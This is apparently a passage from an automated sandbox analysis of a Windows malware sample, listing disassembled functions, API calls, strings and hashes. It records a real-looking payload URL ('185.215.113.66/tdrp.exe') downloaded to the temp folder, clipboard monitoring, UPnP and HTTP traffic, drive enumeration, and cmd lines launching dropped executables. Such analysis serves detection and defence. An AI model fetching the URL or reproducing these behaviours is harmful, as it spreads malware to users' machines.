DeleteFileW.KERNEL32(?), ref: 00406619
CloseHandle.KERNEL32(000000FF), ref: 0040662D
InternetCloseHandle.WININET(00000000), ref: 0040663A
InternetCloseHandle.WININET(00000000), ref: 00406647

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 00406520
%s\%d%d.exe, xrefs: 00406505
%s:Zone.Identifier, xrefs: 004065FD
%temp%, xrefs: 004064CB
http://185.215.113.66/tdrp.exe, xrefs: 00406546

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$http://185.215.113.66/tdrp.exe
API String ID: 2816847299-853099633
Opcode ID: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction ID: 1fb007f132407df9fd1c0735e7405706d6c761cf3eec079010f6fac199ffc060
Opcode Fuzzy Hash: b747dd0fc59dfde576c8c27ad5e268025f255cbc5a09298799a3dfcc346330de
Instruction Fuzzy Hash: 524194B4A41318BBD7209B60DC4DFDA7774AB48701F1085E5F60AB61D1DABD6AC0CF28

Function 0040B850 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B780: gethostname.WS2_32(?,00000100), ref: 0040B79C
Part of subcall function 0040B780: gethostbyname.WS2_32(?), ref: 0040B7AE

strcmp.NTDLL ref: 0040B880

Strings

.192, xrefs: 0040B90E
.127, xrefs: 0040B8AF
.127., xrefs: 0040B8CD
10., xrefs: 0040B94F
.10, xrefs: 0040B96D
127., xrefs: 0040B891
.10., xrefs: 0040B98B
0.0.0.0, xrefs: 0040B86E
.192., xrefs: 0040B92C
192., xrefs: 0040B8F0

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction ID: 8d4abfb17ef92fbeb3a58b36540fc168dced5822f8e8c36773a64fbd4adfcb3b
Opcode Fuzzy Hash: d6ab6244daa99f352ff27f4ac61a156b87516d70ae34b11a0156eb07d3042b9e
Instruction Fuzzy Hash: 826181B5A00205ABDB00AFA1FC46B9A3665EB50318F14847AE805B73C1EB7DE554CBDE

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction ID: 80b39a6ab1993389b90647d5cb6895440bceaa9a0d1ea8ab9cba8154187b69d5
Opcode Fuzzy Hash: d8b23688097d5b99dadb860a55cedc453d5f8d353fdf8d3fa83597af6fbeb7f2
Instruction Fuzzy Hash: A7411771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF855A72E1DB78E985CB99

Function 0040EF70 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EF98
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EFE8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EFFB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040F034
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F06A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040F095
HttpSendRequestA.WININET(00000000,004126B0,000000FF,00009E34), ref: 0040F0BF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040F0FE
memcpy.NTDLL(00000000,?,00000000), ref: 0040F150
InternetCloseHandle.WININET(00000000), ref: 0040F181
InternetCloseHandle.WININET(00000000), ref: 0040F18E
InternetCloseHandle.WININET(00000000), ref: 0040F19B

Strings

POST, xrefs: 0040F05E
<, xrefs: 0040EFA0
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EFF6

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction ID: ef1808732392904e9289ee89b59ca4b2c464bfe5f798c53c6f33b23f739279b9
Opcode Fuzzy Hash: 48caadfad9c7ab3af6f27c5da5da9c09f3769a6c19190aa75f6955b0391b6548
Instruction Fuzzy Hash: 40510AB5A01228ABDB36CF54DC54BDA73BCAB48705F1081E9B50DAA280D7B96FC4CF54

Function 004059B0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004059BC
SetClipboardViewer.USER32(?), ref: 00405A08
SetWindowLongW.USER32(?,000000EB,?), ref: 00405A1B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A70
OpenClipboard.USER32(00000000), ref: 00405AB7
GetClipboardData.USER32(00000000), ref: 00405AC9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405BD0
ChangeClipboardChain.USER32(?,?), ref: 00405BDE
DefWindowProcA.USER32(?,?,?,?), ref: 00405BF4

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction ID: 96d86bc259bd628418629a5c2f452591d45261003c5ffeff5fe086a58ca8b5ae
Opcode Fuzzy Hash: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction Fuzzy Hash: EB711C75A00608EFDF14DFA4D988BEF77B4EB48300F14856AE506B7290D779AA40CF69

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction ID: 00719830d96ac068de130eecfd85e1b44ef6fd60ec2c55820453df0d9b8f54e2
Opcode Fuzzy Hash: 8d3037cf696ecd8756279fad8891fdfc713d08fe7f166539a7d0865b035c0410
Instruction Fuzzy Hash: B731A671900705ABC710AF70EC48B97B7B8BF09300F048A2AE569A7691D779F894CB98

Function 004058C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 004058D8
GetModuleHandleW.KERNEL32(00000000), ref: 004058F0
Sleep.KERNEL32(00000001), ref: 00405904
GetTickCount.KERNEL32 ref: 0040590A
GetTickCount.KERNEL32 ref: 00405913
wsprintfW.USER32 ref: 00405926
RegisterClassExW.USER32(00000030), ref: 00405933
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040595C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405977
TranslateMessage.USER32(?), ref: 00405985
DispatchMessageA.USER32(?), ref: 0040598F
ExitThread.KERNEL32 ref: 004059A1

Strings

0, xrefs: 004058E0
%x%X, xrefs: 0040591A

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction ID: bd9536bbadbf21864e97b89de5b907373c0f6f38ddabaab6f1c3dd09ba998754
Opcode Fuzzy Hash: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction Fuzzy Hash: C7211AB1940308FBEB109BA0DD49FEE7B78EB04711F14852AF601BA1D0DBB99544CF69

Function 0040E640 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E668
InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E7FA
InternetCloseHandle.WININET(00000000), ref: 0040E837
InternetCloseHandle.WININET(00000000), ref: 0040E844
InternetCloseHandle.WININET(00000000), ref: 0040E851

Strings

<, xrefs: 0040E670
GET, xrefs: 0040E72B

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction ID: bd69c55cfb2b9f93b8bf7ceaaaaaf86fc3309545456039a657a23fe3286800e0
Opcode Fuzzy Hash: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction Fuzzy Hash: F75109B1A41228ABDB36DB50CC55BE973BCAB44705F0484E9E60DAA2C0D7B96BC4CF54

Function 00406F70 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406F7E
GetModuleFileNameW.KERNEL32(00000000,00415DB8,00000104), ref: 00406F90

Part of subcall function 0040F1F0: CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
Part of subcall function 0040F1F0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
Part of subcall function 0040F1F0: CloseHandle.KERNEL32(000000FF), ref: 0040F232

ExitThread.KERNEL32 ref: 004070FA

Part of subcall function 004063E0: GetLogicalDrives.KERNEL32 ref: 004063E6
Part of subcall function 004063E0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
Part of subcall function 004063E0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
Part of subcall function 004063E0: RegCloseKey.ADVAPI32(?), ref: 0040647E

Sleep.KERNEL32(000007D0), ref: 004070ED

Part of subcall function 00406300: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040702F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00407044
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040705F
wsprintfW.USER32 ref: 00407072
wsprintfW.USER32 ref: 00407092
wsprintfW.USER32 ref: 004070B5

Strings

Unnamed volume, xrefs: 00407086
%s%s, xrefs: 004070A9
(%dGB), xrefs: 00407066

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction ID: b797a4b926279b24144ff746e96c568fb56fd9e530b7e1178aba5a8e6206bca3
Opcode Fuzzy Hash: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction Fuzzy Hash: 244174B1D00214BBEB64DB94DC45FEE7779BB48700F1085A6F20AB61D0DA785B84CF6A

Function 0040F240 Relevance: 16.6, APIs: 11, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040F272
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040F293
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040F2B2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F2CB
memcmp.NTDLL ref: 0040F35D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040F380
CloseHandle.KERNEL32(00000000), ref: 0040F38A
CloseHandle.KERNEL32(000000FF), ref: 0040F394
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F3B3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040F3D8
CloseHandle.KERNEL32(000000FF), ref: 0040F3E2

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction ID: 91565a6fedc79cda49cfd97bae5198494bb6489b7e374c7f74ac69d8e3e388a5
Opcode Fuzzy Hash: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction Fuzzy Hash: 75514BB4E40308FBDB24DBA4CC49F9EB774AB48304F108569F611B72C0D7B9AA44CB98

Function 0040DD50 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040DD56
GetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD5D
GetCurrentThread.KERNEL32 ref: 0040DD68
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD6F
InterlockedExchangeAdd.KERNEL32(00408480,00000000), ref: 0040DD92
EnterCriticalSection.KERNEL32(000000FB), ref: 0040DDC7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040DE12
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040DE2E
Sleep.KERNEL32(00000001), ref: 0040DE5E
GetCurrentThread.KERNEL32 ref: 0040DE6D
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480), ref: 0040DE74

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: 15ec6ce41066bd2df298828df26a4308ea05a03792f046612c1f6ffbd780898a
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 1B412C74E00209DBDB04DFE4D844BAEBB71FF54315F108169E916AB381D7789A84CF99

Function 0040F400 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60sleepprocessCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040F40E
memset.NTDLL ref: 0040F41E
CreateProcessW.KERNEL32(00000000,00407D11,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040F457
Sleep.KERNEL32(000003E8), ref: 0040F467
ShellExecuteW.SHELL32(00000000,open,00407D11,00000000,00000000,00000000), ref: 0040F482
Sleep.KERNEL32(000003E8), ref: 0040F49C

Strings

D, xrefs: 0040F426
, xrefs: 0040F491
open, xrefs: 0040F47B

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction ID: 03d024a0b9a73c413bf1553ab10d0ee3a8ab15297eec0ef6a9417e1ec1830951
Opcode Fuzzy Hash: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction Fuzzy Hash: ED112B71A80308BAEB209B90CD46FDE7778AB14B10F204135FA047E2C0D6B9AA448759

Function 00406660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040666B
CoCreateInstance.OLE32(00413030,00000000,00000001,00413010,00000008), ref: 00406683
wsprintfW.USER32 ref: 004066C4
wsprintfW.USER32 ref: 004066E5

Strings

/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe, xrefs: 004066B8
%comspec%, xrefs: 004066EE
cl@, xrefs: 004066A0
/c start %s & start %s\rvlcfg.exe, xrefs: 004066D9

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: wsprintf$CreateInitializeInstance
String ID: %comspec%$/c start %s & start %s\rvlcfg.exe$/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe$cl@
API String ID: 1147330536-497122036
Opcode ID: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction ID: e126a915917d584c7bd6e3cca15df18ca7e9be12ab45cc4692bb8e15b90f0fb7
Opcode Fuzzy Hash: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction Fuzzy Hash: 67411D75A40208AFC704DF98C885FDEB7B5AF88704F208199F515A72A5C675AE81CB54

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000011.00000002.1975984094.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1975956652.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.1976047598.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction ID: f2cbb4ded8662be063e38a6044f3a63d93470e371ff4fbf655dea468244fd3f8
Opcode Fuzzy Hash: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction Fuzzy Hash: 4F51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040E310 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Sleep.KERNEL32(000003E8), ref: 0040E36E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

LOCATION: , xrefs: 0040E395
